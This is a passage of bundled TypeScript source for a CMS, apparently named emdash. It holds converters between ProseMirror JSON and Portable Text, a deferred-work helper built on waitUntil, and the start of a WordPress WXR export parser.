[];\n\t}\n\n\tconst blocks: PortableTextBlock[] = [];\n\n\tfor (const node of doc.content) {\n\t\tconst converted = convertNode(node);\n\t\tif (converted) {\n\t\t\tif (Array.isArray(converted)) {\n\t\t\t\tblocks.push(...converted);\n\t\t\t} else {\n\t\t\t\tblocks.push(converted);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn blocks;\n}\n\n/**\n * Convert a single ProseMirror node to Portable Text block(s)\n */\nfunction convertNode(node: ProseMirrorNode): PortableTextBlock | PortableTextBlock[] | null {\n\tswitch (node.type) {\n\t\tcase \"paragraph\":\n\t\t\treturn convertParagraph(node);\n\n\t\tcase \"heading\":\n\t\t\treturn convertHeading(node);\n\n\t\tcase \"bulletList\":\n\t\t\treturn convertList(node, \"bullet\");\n\n\t\tcase \"orderedList\":\n\t\t\treturn convertList(node, \"number\");\n\n\t\tcase \"blockquote\":\n\t\t\treturn convertBlockquote(node);\n\n\t\tcase \"codeBlock\":\n\t\t\treturn convertCodeBlock(node);\n\n\t\tcase \"image\":\n\t\t\treturn convertImage(node);\n\n\t\tcase \"horizontalRule\":\n\t\t\treturn {\n\t\t\t\t_type: \"break\",\n\t\t\t\t_key: generateKey(),\n\t\t\t\tstyle: \"lineBreak\",\n\t\t\t};\n\n\t\tdefault:\n\t\t\t// Preserve unknown blocks\n\t\t\treturn {\n\t\t\t\t_type: node.type,\n\t\t\t\t_key: generateKey(),\n\t\t\t\t...node.attrs,\n\t\t\t\t_pmContent: node.content,\n\t\t\t};\n\t}\n}\n\n/**\n * Convert paragraph to Portable Text block\n */\nfunction convertParagraph(node: ProseMirrorNode): PortableTextTextBlock | null {\n\tconst { children, markDefs } = convertInlineContent(node.content || []);\n\n\t// Skip empty paragraphs\n\tif (children.length === 0) {\n\t\treturn null;\n\t}\n\n\treturn {\n\t\t_type: \"block\",\n\t\t_key: generateKey(),\n\t\tstyle: \"normal\",\n\t\tchildren,\n\t\tmarkDefs: markDefs.length > 0 ? markDefs : undefined,\n\t};\n}\n\n/** Map heading level number to Portable Text style */\nfunction headingLevelToStyle(level: number): PortableTextTextBlock[\"style\"] {\n\tswitch (level) {\n\t\tcase 1:\n\t\t\treturn \"h1\";\n\t\tcase 2:\n\t\t\treturn \"h2\";\n\t\tcase 3:\n\t\t\treturn \"h3\";\n\t\tcase 4:\n\t\t\treturn \"h4\";\n\t\tcase 5:\n\t\t\treturn \"h5\";\n\t\tcase 6:\n\t\t\treturn \"h6\";\n\t\tdefault:\n\t\t\treturn \"h1\";\n\t}\n}\n\n/**\n * Convert heading to Portable Text block\n */\nfunction convertHeading(node: ProseMirrorNode): PortableTextTextBlock | null {\n\tconst { children, markDefs } = convertInlineContent(node.content || []);\n\tconst rawLevel = typeof node.attrs?.level === \"number\" ? node.attrs.level : 1;\n\tconst style = headingLevelToStyle(rawLevel);\n\n\tif (children.length === 0) {\n\t\treturn null;\n\t}\n\n\treturn {\n\t\t_type: \"block\",\n\t\t_key: generateKey(),\n\t\tstyle,\n\t\tchildren,\n\t\tmarkDefs: markDefs.length > 0 ? markDefs : undefined,\n\t};\n}\n\n/**\n * Convert list to Portable Text blocks\n */\nfunction convertList(\n\tnode: ProseMirrorNode,\n\tlistItem: \"bullet\" | \"number\",\n): PortableTextTextBlock[] {\n\tconst blocks: PortableTextTextBlock[] = [];\n\n\tfor (const item of node.content || []) {\n\t\tif (item.type === \"listItem\") {\n\t\t\tconst itemBlocks = convertListItem(item, listItem, 1);\n\t\t\tblocks.push(...itemBlocks);\n\t\t}\n\t}\n\n\treturn blocks;\n}\n\n/**\n * Convert list item to Portable Text blocks\n */\nfunction convertListItem(\n\titem: ProseMirrorNode,\n\tlistItem: \"bullet\" | \"number\",\n\tlevel: number,\n): PortableTextTextBlock[] {\n\tconst blocks: PortableTextTextBlock[] = [];\n\n\tfor (const child of item.content || []) {\n\t\tif (child.type === \"paragraph\") {\n\t\t\tconst { children, markDefs } = convertInlineContent(child.content || []);\n\n\t\t\tif (children.length > 0) {\n\t\t\t\tblocks.push({\n\t\t\t\t\t_type: \"block\",\n\t\t\t\t\t_key: generateKey(),\n\t\t\t\t\tstyle: \"normal\",\n\t\t\t\t\tlistItem,\n\t\t\t\t\tlevel,\n\t\t\t\t\tchildren,\n\t\t\t\t\tmarkDefs: markDefs.length > 0 ? markDefs : undefined,\n\t\t\t\t});\n\t\t\t}\n\t\t} else if (child.type === \"bulletList\") {\n\t\t\tblocks.push(...convertListItemNested(child, \"bullet\", level + 1));\n\t\t} else if (child.type === \"orderedList\") {\n\t\t\tblocks.push(...convertListItemNested(child, \"number\", level + 1));\n\t\t}\n\t}\n\n\treturn blocks;\n}\n\n/**\n * Convert nested list\n */\nfunction convertListItemNested(\n\tnode: ProseMirrorNode,\n\tlistItem: \"bullet\" | \"number\",\n\tlevel: number,\n): PortableTextTextBlock[] {\n\tconst blocks: PortableTextTextBlock[] = [];\n\n\tfor (const item of node.content || []) {\n\t\tif (item.type === \"listItem\") {\n\t\t\tblocks.push(...convertListItem(item, listItem, level));\n\t\t}\n\t}\n\n\treturn blocks;\n}\n\n/**\n * Convert blockquote to Portable Text blocks\n */\nfunction convertBlockquote(\n\tnode: ProseMirrorNode,\n): PortableTextTextBlock | PortableTextTextBlock[] | null {\n\t// Blockquotes in PT are just blocks with style: \"blockquote\"\n\tconst blocks: PortableTextTextBlock[] = [];\n\n\tfor (const child of node.content || []) {\n\t\tif (child.type === \"paragraph\") {\n\t\t\tconst { children, markDefs } = convertInlineContent(child.content || []);\n\n\t\t\tif (children.length > 0) {\n\t\t\t\tblocks.push({\n\t\t\t\t\t_type: \"block\",\n\t\t\t\t\t_key: generateKey(),\n\t\t\t\t\tstyle: \"blockquote\",\n\t\t\t\t\tchildren,\n\t\t\t\t\tmarkDefs: markDefs.length > 0 ? markDefs : undefined,\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}\n\n\treturn blocks.length === 1 ? blocks[0] : blocks.length > 0 ? blocks : null;\n}\n\n/**\n * Convert code block to Portable Text\n */\nfunction convertCodeBlock(node: ProseMirrorNode): PortableTextCodeBlock {\n\tconst code = node.content?.map((n) => n.text || \"\").join(\"\") || \"\";\n\tconst language = typeof node.attrs?.language === \"string\" ? node.attrs.language : undefined;\n\n\treturn {\n\t\t_type: \"code\",\n\t\t_key: generateKey(),\n\t\tcode,\n\t\tlanguage: language || undefined,\n\t};\n}\n\n/**\n * Convert image to Portable Text\n */\nfunction convertImage(node: ProseMirrorNode): PortableTextImageBlock {\n\tconst attrs = node.attrs;\n\tconst provider = typeof attrs?.provider === \"string\" ? attrs.provider : undefined;\n\tconst mediaId = typeof attrs?.mediaId === \"string\" ? attrs.mediaId : undefined;\n\tconst src = typeof attrs?.src === \"string\" ? attrs.src : \"\";\n\tconst alt = typeof attrs?.alt === \"string\" ? attrs.alt : undefined;\n\tconst title = typeof attrs?.title === \"string\" ? attrs.title : undefined;\n\tconst width = typeof attrs?.width === \"number\" ? attrs.width : undefined;\n\tconst height = typeof attrs?.height === \"number\" ? attrs.height : undefined;\n\tconst displayWidth = typeof attrs?.displayWidth === \"number\" ? attrs.displayWidth : undefined;\n\tconst displayHeight = typeof attrs?.displayHeight === \"number\" ? attrs.displayHeight : undefined;\n\n\treturn {\n\t\t_type: \"image\",\n\t\t_key: generateKey(),\n\t\tasset: {\n\t\t\t// Use mediaId as _ref if available (for proper provider lookups)\n\t\t\t_ref: mediaId || src || \"\",\n\t\t\t// Store URL for admin preview and fallback rendering\n\t\t\turl: src || \"\",\n\t\t\t// Store provider for external media\n\t\t\tprovider: provider && provider !== \"local\" ? provider : undefined,\n\t\t},\n\t\talt: alt || undefined,\n\t\tcaption: title || undefined,\n\t\twidth: width || undefined,\n\t\theight: height || undefined,\n\t\tdisplayWidth: displayWidth || undefined,\n\t\tdisplayHeight: displayHeight || undefined,\n\t};\n}\n\n/**\n * Convert inline content (text nodes with marks) to Portable Text spans\n */\nfunction convertInlineContent(nodes: ProseMirrorNode[]): {\n\tchildren: PortableTextSpan[];\n\tmarkDefs: PortableTextMarkDef[];\n} {\n\tconst children: PortableTextSpan[] = [];\n\tconst markDefs: PortableTextMarkDef[] = [];\n\tconst markDefMap = new Map<string, string>(); // href -> key\n\n\tfor (const node of nodes) {\n\t\tif (node.type === \"text\" && node.text) {\n\t\t\tconst marks: string[] = [];\n\n\t\t\tfor (const mark of node.marks || []) {\n\t\t\t\tconst markType = convertMark(mark, markDefs, markDefMap);\n\t\t\t\tif (markType) {\n\t\t\t\t\tmarks.push(markType);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tchildren.push({\n\t\t\t\t_type: \"span\",\n\t\t\t\t_key: generateKey(),\n\t\t\t\ttext: node.text,\n\t\t\t\tmarks: marks.length > 0 ? marks : undefined,\n\t\t\t});\n\t\t} else if (node.type === \"hardBreak\") {\n\t\t\t// Hard breaks become newlines in the text\n\t\t\tif (children.length > 0) {\n\t\t\t\tconst lastChild = children.at(-1)!;\n\t\t\t\tlastChild.text += \"\\n\";\n\t\t\t} else {\n\t\t\t\tchildren.push({\n\t\t\t\t\t_type: \"span\",\n\t\t\t\t\t_key: generateKey(),\n\t\t\t\t\ttext: \"\\n\",\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}\n\n\t// Ensure at least one span exists\n\tif (children.length === 0) {\n\t\tchildren.push({\n\t\t\t_type: \"span\",\n\t\t\t_key: generateKey(),\n\t\t\ttext: \"\",\n\t\t});\n\t}\n\n\treturn { children, markDefs };\n}\n\n/**\n * Convert a ProseMirror mark to Portable Text mark\n */\nfunction convertMark(\n\tmark: ProseMirrorMark,\n\tmarkDefs: PortableTextMarkDef[],\n\tmarkDefMap: Map<string, string>,\n): string | null {\n\tswitch (mark.type) {\n\t\tcase \"bold\":\n\t\tcase \"strong\":\n\t\t\treturn \"strong\";\n\n\t\tcase \"italic\":\n\t\tcase \"em\":\n\t\t\treturn \"em\";\n\n\t\tcase \"underline\":\n\t\t\treturn \"underline\";\n\n\t\tcase \"strike\":\n\t\tcase \"strikethrough\":\n\t\t\treturn \"strike-through\";\n\n\t\tcase \"code\":\n\t\t\treturn \"code\";\n\n\t\tcase \"link\": {\n\t\t\tconst href = (typeof mark.attrs?.href === \"string\" ? mark.attrs.href : \"\") || \"\";\n\n\t\t\t// Check if we already have a mark def for this link\n\t\t\tif (markDefMap.has(href)) {\n\t\t\t\treturn markDefMap.get(href)!;\n\t\t\t}\n\n\t\t\t// Create new mark def\n\t\t\tconst key = generateKey();\n\t\t\tmarkDefs.push({\n\t\t\t\t_type: \"link\",\n\t\t\t\t_key: key,\n\t\t\t\thref,\n\t\t\t\tblank: mark.attrs?.target === \"_blank\",\n\t\t\t});\n\t\t\tmarkDefMap.set(href, key);\n\n\t\t\treturn key;\n\t\t}\n\n\t\tdefault:\n\t\t\t// Unknown mark - preserve as-is\n\t\t\treturn mark.type;\n\t}\n}\n","/**\n * Portable Text to ProseMirror Converter\n *\n * Converts Portable Text to TipTap's ProseMirror JSON format for editing.\n */\n\nimport type {\n\tProseMirrorDocument,\n\tProseMirrorNode,\n\tProseMirrorMark,\n\tPortableTextBlock,\n\tPortableTextTextBlock,\n\tPortableTextSpan,\n\tPortableTextMarkDef,\n\tPortableTextImageBlock,\n\tPortableTextCodeBlock,\n} from \"./types.js\";\n\n/**\n * Convert Portable Text to ProseMirror document\n */\nexport function portableTextToProsemirror(blocks: PortableTextBlock[]): ProseMirrorDocument {\n\tif (!blocks || blocks.length === 0) {\n\t\treturn {\n\t\t\ttype: \"doc\",\n\t\t\tcontent: [{ type: \"paragraph\" }],\n\t\t};\n\t}\n\n\tconst content: ProseMirrorNode[] = [];\n\tlet i = 0;\n\n\twhile (i < blocks.length) {\n\t\tconst block = blocks[i];\n\n\t\t// Check for list items\n\t\tif (isTextBlock(block) && block.listItem) {\n\t\t\t// Collect consecutive list items\n\t\t\tconst listBlocks: PortableTextTextBlock[] = [];\n\t\t\tconst listType = block.listItem;\n\n\t\t\twhile (i < blocks.length) {\n\t\t\t\tconst current = blocks[i];\n\t\t\t\tif (isTextBlock(current) && current.listItem === listType) {\n\t\t\t\t\tlistBlocks.push(current);\n\t\t\t\t\ti++;\n\t\t\t\t} else {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcontent.push(convertList(listBlocks, listType));\n\t\t} else {\n\t\t\tconst converted = convertBlock(block);\n\t\t\tif (converted) {\n\t\t\t\tcontent.push(converted);\n\t\t\t}\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn {\n\t\ttype: \"doc\",\n\t\tcontent: content.length > 0 ? content : [{ type: \"paragraph\" }],\n\t};\n}\n\n/**\n * Type guard for text blocks\n */\nfunction isTextBlock(block: PortableTextBlock): block is PortableTextTextBlock {\n\treturn block._type === \"block\";\n}\n\n/**\n * Type guard for image blocks.\n * Checks both `_type` and that `asset` is a valid object — image blocks\n * without an `asset` wrapper (e.g. `{ _type: \"image\", url: \"...\" }`) are\n * malformed and should not be cast to `PortableTextImageBlock`.\n */\nfunction isImageBlock(block: PortableTextBlock): block is PortableTextImageBlock {\n\treturn (\n\t\tblock._type === \"image\" &&\n\t\t\"asset\" in block &&\n\t\ttypeof block.asset === \"object\" &&\n\t\tblock.asset !== null\n\t);\n}\n\n/**\n * Type guard for code blocks\n */\nfunction isCodeBlock(block: PortableTextBlock): block is PortableTextCodeBlock {\n\treturn block._type === \"code\";\n}\n\n/**\n * Convert a single Portable Text block to ProseMirror node\n */\nfunction convertBlock(block: PortableTextBlock): ProseMirrorNode | null {\n\tif (isTextBlock(block)) {\n\t\treturn convertTextBlock(block);\n\t}\n\tif (isImageBlock(block)) {\n\t\treturn convertImage(block);\n\t}\n\tif (block._type === \"image\") {\n\t\t// Malformed image block (no asset wrapper) — extract url from top level\n\t\treturn convertMalformedImage(block);\n\t}\n\tif (isCodeBlock(block)) {\n\t\treturn convertCodeBlock(block);\n\t}\n\tif (block._type === \"break\") {\n\t\treturn { type: \"horizontalRule\" };\n\t}\n\t// Unknown block - wrap in a div or preserve as placeholder\n\treturn {\n\t\ttype: \"paragraph\",\n\t\tcontent: [\n\t\t\t{\n\t\t\t\ttype: \"text\",\n\t\t\t\ttext: `[Unknown block type: ${block._type}]`,\n\t\t\t\tmarks: [{ type: \"code\" }],\n\t\t\t},\n\t\t],\n\t};\n}\n\n/**\n * Convert text block to ProseMirror paragraph or heading\n */\nfunction convertTextBlock(block: PortableTextTextBlock): ProseMirrorNode | null {\n\tconst { style = \"normal\", children, markDefs = [] } = block;\n\n\t// Convert children to ProseMirror nodes\n\tconst content = convertSpans(children, markDefs);\n\n\t// Determine node type based on style\n\tswitch (style) {\n\t\tcase \"h1\":\n\t\tcase \"h2\":\n\t\tcase \"h3\":\n\t\tcase \"h4\":\n\t\tcase \"h5\":\n\t\tcase \"h6\": {\n\t\t\tconst level = parseInt(style.substring(1), 10);\n\t\t\treturn {\n\t\t\t\ttype: \"heading\",\n\t\t\t\tattrs: { level },\n\t\t\t\tcontent: content.length > 0 ? content : undefined,\n\t\t\t};\n\t\t}\n\n\t\tcase \"blockquote\":\n\t\t\treturn {\n\t\t\t\ttype: \"blockquote\",\n\t\t\t\tcontent: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: \"paragraph\",\n\t\t\t\t\t\tcontent: content.length > 0 ? content : undefined,\n\t\t\t\t\t},\n\t\t\t\t],\n\t\t\t};\n\n\t\tcase \"normal\":\n\t\tdefault:\n\t\t\treturn {\n\t\t\t\ttype: \"paragraph\",\n\t\t\t\tcontent: content.length > 0 ? content : undefined,\n\t\t\t};\n\t}\n}\n\n/**\n * Convert list items to ProseMirror list\n */\nfunction convertList(\n\titems: PortableTextTextBlock[],\n\tlistType: \"bullet\" | \"number\",\n): ProseMirrorNode {\n\t// Group items by level\n\tconst rootItems: ProseMirrorNode[] = [];\n\tlet i = 0;\n\n\twhile (i < items.length) {\n\t\tconst item = items[i];\n\t\tconst level = item.level || 1;\n\n\t\tif (level === 1) {\n\t\t\t// Collect nested items for this root item\n\t\t\tconst nestedItems: PortableTextTextBlock[] = [];\n\t\t\ti++;\n\n\t\t\twhile (i < items.length && (items[i].level || 1) > 1) {\n\t\t\t\tnestedItems.push(items[i]);\n\t\t\t\ti++;\n\t\t\t}\n\n\t\t\trootItems.push(convertListItem(item, nestedItems, listType));\n\t\t} else {\n\t\t\t// Orphan nested item - treat as root\n\t\t\trootItems.push(convertListItem(item, [], listType));\n\t\t\ti++;\n\t\t}\n\t}\n\n\treturn {\n\t\ttype: listType === \"bullet\" ? \"bulletList\" : \"orderedList\",\n\t\tcontent: rootItems,\n\t};\n}\n\n/**\n * Convert a single list item to ProseMirror\n */\nfunction convertListItem(\n\titem: PortableTextTextBlock,\n\tnestedItems: PortableTextTextBlock[],\n\tparentListType: \"bullet\" | \"number\",\n): ProseMirrorNode {\n\tconst content: ProseMirrorNode[] = [];\n\n\t// Add paragraph content\n\tconst spans = convertSpans(item.children, item.markDefs || []);\n\tcontent.push({\n\t\ttype: \"paragraph\",\n\t\tcontent: spans.length > 0 ? spans : undefined,\n\t});\n\n\t// Handle nested items\n\tif (nestedItems.length > 0) {\n\t\t// Group nested items by their list type\n\t\tlet j = 0;\n\n\t\twhile (j < nestedItems.length) {\n\t\t\tconst nestedListType = nestedItems[j].listItem || parentListType;\n\t\t\tconst nestedGroup: PortableTextTextBlock[] = [];\n\n\t\t\twhile (\n\t\t\t\tj < nestedItems.length &&\n\t\t\t\t(nestedItems[j].listItem || parentListType) === nestedListType\n\t\t\t) {\n\t\t\t\tnestedGroup.push(nestedItems[j]);\n\t\t\t\tj++;\n\t\t\t}\n\n\t\t\tif (nestedGroup.length > 0) {\n\t\t\t\t// Decrease level for nested conversion\n\t\t\t\tconst adjustedGroup = nestedGroup.map((ni) => ({\n\t\t\t\t\t...ni,\n\t\t\t\t\tlevel: (ni.level || 2) - 1,\n\t\t\t\t}));\n\t\t\t\tcontent.push(convertList(adjustedGroup, nestedListType));\n\t\t\t}\n\t\t}\n\t}\n\n\treturn {\n\t\ttype: \"listItem\",\n\t\tcontent,\n\t};\n}\n\n/**\n * Convert Portable Text spans to ProseMirror text nodes\n */\nfunction convertSpans(\n\tspans: PortableTextSpan[],\n\tmarkDefs: PortableTextMarkDef[],\n): ProseMirrorNode[] {\n\tconst nodes: ProseMirrorNode[] = [];\n\tconst markDefsMap = new Map(markDefs.map((md) => [md._key, md]));\n\n\tfor (const span of spans) {\n\t\tif (span._type !== \"span\") continue;\n\n\t\t// Handle newlines in text\n\t\tconst parts = span.text.split(\"\\n\");\n\n\t\tfor (let i = 0; i < parts.length; i++) {\n\t\t\tconst text = parts[i];\n\n\t\t\t// Add text node\n\t\t\tif (text.length > 0) {\n\t\t\t\tconst marks = convertMarks(span.marks || [], markDefsMap);\n\t\t\t\tconst node: ProseMirrorNode = {\n\t\t\t\t\ttype: \"text\",\n\t\t\t\t\ttext,\n\t\t\t\t};\n\t\t\t\tif (marks.length > 0) {\n\t\t\t\t\tnode.marks = marks;\n\t\t\t\t}\n\t\t\t\tnodes.push(node);\n\t\t\t}\n\n\t\t\t// Add hard break between parts (not after last)\n\t\t\tif (i < parts.length - 1) {\n\t\t\t\tnodes.push({ type: \"hardBreak\" });\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nodes;\n}\n\n/**\n * Convert Portable Text marks to ProseMirror marks\n */\nfunction convertMarks(\n\tmarks: string[],\n\tmarkDefs: Map<string, PortableTextMarkDef>,\n): ProseMirrorMark[] {\n\tconst pmMarks: ProseMirrorMark[] = [];\n\n\tfor (const mark of marks) {\n\t\tswitch (mark) {\n\t\t\tcase \"strong\":\n\t\t\t\tpmMarks.push({ type: \"bold\" });\n\t\t\t\tbreak;\n\n\t\t\tcase \"em\":\n\t\t\t\tpmMarks.push({ type: \"italic\" });\n\t\t\t\tbreak;\n\n\t\t\tcase \"underline\":\n\t\t\t\tpmMarks.push({ type: \"underline\" });\n\t\t\t\tbreak;\n\n\t\t\tcase \"strike-through\":\n\t\t\t\tpmMarks.push({ type: \"strike\" });\n\t\t\t\tbreak;\n\n\t\t\tcase \"code\":\n\t\t\t\tpmMarks.push({ type: \"code\" });\n\t\t\t\tbreak;\n\n\t\t\tdefault: {\n\t\t\t\t// Check if it's a mark definition reference\n\t\t\t\tconst markDef = markDefs.get(mark);\n\t\t\t\tif (markDef) {\n\t\t\t\t\tif (markDef._type === \"link\") {\n\t\t\t\t\t\tpmMarks.push({\n\t\t\t\t\t\t\ttype: \"link\",\n\t\t\t\t\t\t\tattrs: {\n\t\t\t\t\t\t\t\thref: markDef.href,\n\t\t\t\t\t\t\t\ttarget: markDef.blank ? \"_blank\" : null,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t});\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Unknown mark def type - preserve attrs\n\t\t\t\t\t\tpmMarks.push({\n\t\t\t\t\t\t\ttype: markDef._type,\n\t\t\t\t\t\t\tattrs: markDef as Record<string, unknown>,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn pmMarks;\n}\n\n/**\n * Convert image block to ProseMirror\n */\nfunction convertImage(block: PortableTextImageBlock): ProseMirrorNode {\n\treturn {\n\t\ttype: \"image\",\n\t\tattrs: {\n\t\t\tsrc: block.asset.url || block.asset._ref,\n\t\t\talt: block.alt || \"\",\n\t\t\ttitle: block.caption || \"\",\n\t\t\tmediaId: block.asset._ref,\n\t\t\tprovider: block.asset.provider,\n\t\t\twidth: block.width,\n\t\t\theight: block.height,\n\t\t\tdisplayWidth: block.displayWidth,\n\t\t\tdisplayHeight: block.displayHeight,\n\t\t},\n\t};\n}\n\n/**\n * Convert a malformed image block (missing `asset` wrapper) to ProseMirror.\n * Handles blocks like `{ _type: \"image\", url: \"...\", alt: \"...\" }` that may\n * originate from migrations or third-party imports.\n */\nfunction convertMalformedImage(block: PortableTextBlock): ProseMirrorNode {\n\t// PortableTextUnknownBlock allows indexed access via [key: string]: unknown\n\tconst url = \"url\" in block && typeof block.url === \"string\" ? block.url : \"\";\n\tconst alt = \"alt\" in block && typeof block.alt === \"string\" ? block.alt : \"\";\n\tconst caption = \"caption\" in block && typeof block.caption === \"string\" ? block.caption : \"\";\n\tconst width = \"width\" in block && typeof block.width === \"number\" ? block.width : undefined;\n\tconst height = \"height\" in block && typeof block.height === \"number\" ? block.height : undefined;\n\tconst displayWidth =\n\t\t\"displayWidth\" in block && typeof block.displayWidth === \"number\"\n\t\t\t? block.displayWidth\n\t\t\t: undefined;\n\tconst displayHeight =\n\t\t\"displayHeight\" in block && typeof block.displayHeight === \"number\"\n\t\t\t? block.displayHeight\n\t\t\t: undefined;\n\treturn {\n\t\ttype: \"image\",\n\t\tattrs: {\n\t\t\tsrc: url,\n\t\t\talt,\n\t\t\ttitle: caption,\n\t\t\tmediaId: undefined,\n\t\t\tprovider: undefined,\n\t\t\twidth,\n\t\t\theight,\n\t\t\tdisplayWidth,\n\t\t\tdisplayHeight,\n\t\t},\n\t};\n}\n\n/**\n * Convert code block to ProseMirror\n */\nfunction convertCodeBlock(block: PortableTextCodeBlock): ProseMirrorNode {\n\treturn {\n\t\ttype: \"codeBlock\",\n\t\tattrs: {\n\t\t\tlanguage: block.language || null,\n\t\t},\n\t\tcontent: block.code ? [{ type: \"text\", text: block.code }] : undefined,\n\t};\n}\n","/**\n * Defer work past the HTTP response.\n *\n * Use for bookkeeping that doesn't need to complete before the client\n * gets bytes — writes that record state, maintenance queries, cache\n * refreshes. `after()` hands the promise to the host's lifetime\n * extender when one is available (Cloudflare's `waitUntil` under\n * workerd), or fires-and-forgets on Node (the process lives for the\n * next request anyway).\n *\n * Host binding is resolved lazily via a dynamic import of the\n * `virtual:emdash/wait-until` virtual module. Lazy — rather than a\n * static top-level import — so tools that walk the dist in a plain\n * Node loader (`astro check`, Vitest, etc.) don't trip over the\n * `virtual:` scheme: they'd only fail if they actually called\n * `after()`, which they don't during type-checking.\n */\n\nexport type WaitUntilFn = (promise: Promise<unknown>) => void;\n\n// Resolves to the host's waitUntil if the adapter provided one, or\n// null otherwise. Kicked off once at module load; subsequent `after()`\n// calls see the cached result without re-importing.\nconst waitUntilReady: Promise<WaitUntilFn | null> = (async () => {\n\ttry {\n\t\t// @ts-ignore - virtual module, generated by the Astro integration\n\t\tconst mod = (await import(\"virtual:emdash/wait-until\")) as {\n\t\t\twaitUntil?: WaitUntilFn;\n\t\t};\n\t\treturn mod.waitUntil ?? null;\n\t} catch {\n\t\t// No virtual module available (Node-side tooling, tests without the\n\t\t// integration in scope). Fire-and-forget is the safe fallback.\n\t\treturn null;\n\t}\n})();\n// Surface rejections without making the module-load fail.\nwaitUntilReady.catch(() => {});\n\n/**\n * Schedule `fn` to run without blocking the response.\n *\n * Errors are caught and logged — a deferred task should never surface\n * as an unhandled rejection because the response is long gone. Callers\n * that care about errors should handle them inside `fn`.\n */\nexport function after(fn: () => void | Promise<void>): void {\n\tconst promise = Promise.resolve()\n\t\t.then(fn)\n\t\t.catch((error) => {\n\t\t\tconsole.error(\"[emdash] deferred task failed:\", error);\n\t\t});\n\n\t// Defer the lifetime-extender handoff to the microtask that resolves\n\t// waitUntilReady. On workerd this is effectively instant (the virtual\n\t// module is already loaded in the bundle); on Node the promise\n\t// resolves to null, so this is just one extra microtask and no-op.\n\tvoid waitUntilReady.then((waitUntil) => {\n\t\tif (waitUntil) waitUntil(promise);\n\t\treturn null;\n\t});\n}\n","/**\n * WordPress WXR (WordPress eXtended RSS) parser\n *\n * Uses SAX streaming parser to handle large export files efficiently.\n * WXR is an RSS extension containing WordPress content exports.\n *\n * @see https://developer.wordpress.org/plugins/data-storage/wp-xml-rpc/\n */\n\nimport type { Readable } from \"node:stream\";\n\nimport sax from \"sax\";\n\n// Regex patterns for WXR parsing\nconst PHP_SERIALIZED_STRING_PATTERN = /s:\\d+:\"([^\"]+)\"/g;\nconst PHP_SERIALIZED_STRING_MATCH_PATTERN = /s:\\d+:\"([^\"]+)\"/;\n\n/**\n * Parsed WordPress export data\n */\nexport interface WxrData {\n\t/** Site metadata */\n\tsite: WxrSite;\n\t/** Posts (including custom post types) */\n\tposts: WxrPost[];\n\t/** Media attachments */\n\tattachments: WxrAttachment[];\n\t/** Categories */\n\tcategories: WxrCategory[];\n\t/** Tags */\n\ttags: WxrTag[];\n\t/** Authors */\n\tauthors: WxrAuthor[];\n\t/** All taxonomy terms (including custom taxonomies and nav_menu) */\n\tterms: WxrTerm[];\n\t/** Parsed navigation menus */\n\tnavMenus: WxrNavMenu[];\n}\n\nexport interface WxrSite {\n\ttitle?: string;\n\tlink?: string;\n\tdescription?: string;\n\tlanguage?: string;\n\tbaseSiteUrl?: string;\n\tbaseBlogUrl?: string;\n}\n\nexport interface WxrPost {\n\tid?: number;\n\ttitle?: string;\n\tlink?: string;\n\tpubDate?: string;\n\tcreator?: string;\n\tguid?: string;\n\tdescription?: string;\n\tcontent?: string;\n\texcerpt?: string;\n\tpostDate?: string;\n\tpostDateGmt?: string;\n\tpostModified?: string;\n\tpostModifiedGmt?: string;\n\tcommentStatus?: string;\n\tpingStatus?: string;\n\tstatus?: string;\n\tpostType?: string;\n\tpostName?: string;\n\tpostPassword?: string;\n\tisSticky?: boolean;\n\t/** Parent post ID for hierarchical content (pages) */\n\tpostParent?: number;\n\t/** Menu order for sorting */\n\tmenuOrder?: number;\n\tcategories: string[];\n\ttags: string[];\n\t/** Custom taxonomy assignments beyond categories/tags */\n\tcustomTaxonomies?: Map<string, string[]>;\n\tmeta: Map<string, string>;\n}\n\nexport interface WxrAttachment {\n\tid?: number;\n\ttitle?: string;\n\turl?: string;\n\tpostDate?: string;\n\tmeta: Map<string, string>;\n}\n\nexport interface WxrCategory {\n\tid?: number;\n\tnicename?: string;\n\tname?: string;\n\tparent?: string;\n\tdescription?: string;\n}\n\nexport interface WxrTag {\n\tid?: number;\n\tslug?: string;\n\tname?: string;\n\tdescription?: string;\n}\n\n/**\n * Generic taxonomy term (categories, tags, nav_menu, custom taxonomies)\n */\nexport interface WxrTerm {\n\tid: number;\n\ttaxonomy: string; // 'category', 'post_tag', 'nav_menu', 'genre', etc.\n\tslug: string;\n\tname: string;\n\tparent?: string;\n\tdescription?: string;\n}\n\n/**\n * Navigation menu structure\n */\nexport interface WxrNavMenu {\n\tid: number;\n\tname: string; // Menu slug\n\tlabel: string; // Menu name\n\titems: WxrNavMenuItem[];\n}\n\n/**\n * Navigation menu item\n */\nexport interface WxrNavMenuItem {\n\tid: number;\n\tmenuId: number;\n\tparentId?: number;\n\tsortOrder: number;\n\ttype: \"custom\" | \"post_type\" | \"taxonomy\";\n\tobjectType?: string; // 'page', 'post', 'category'\n\tobjectId?: number;\n\turl?: string;\n\ttitle: string;\n\ttarget?: string;\n\tclasses?: string;\n}\n\nexport interface WxrAuthor {\n\tid?: number;\n\tlogin?: string;\n\temail?: string;\n\tdisplayName?: string;\n\tfirstName?: string;\n\tlastName?: string;\n}\n\n/** Extract string value from a SAX attribute (handles both Tag and QualifiedTag) */\nfunction attrStr(attr: string | { value: string } | undefined): string {\n\tif (typeof attr === \"string\") return attr;\n\tif (attr && typeof attr === \"object\" && \"value\" in attr) return attr.value;\n\treturn \"\";\n}\n\n/** Type guard for complete WxrTerm (all required fields present) */\nfunction isCompleteWxrTerm(term: Partial<WxrTerm>): term is WxrTerm {\n\treturn (\n\t\tterm.id !== undefined &&\n\t\tterm.taxonomy !== undefined &&\n\t\tterm.slug !== undefined &&\n\t\tterm.name !== undefined\n\t);\n}\n\n/**\n * Parse a WordPress WXR export file\n */\nexport function parseWxr(stream: 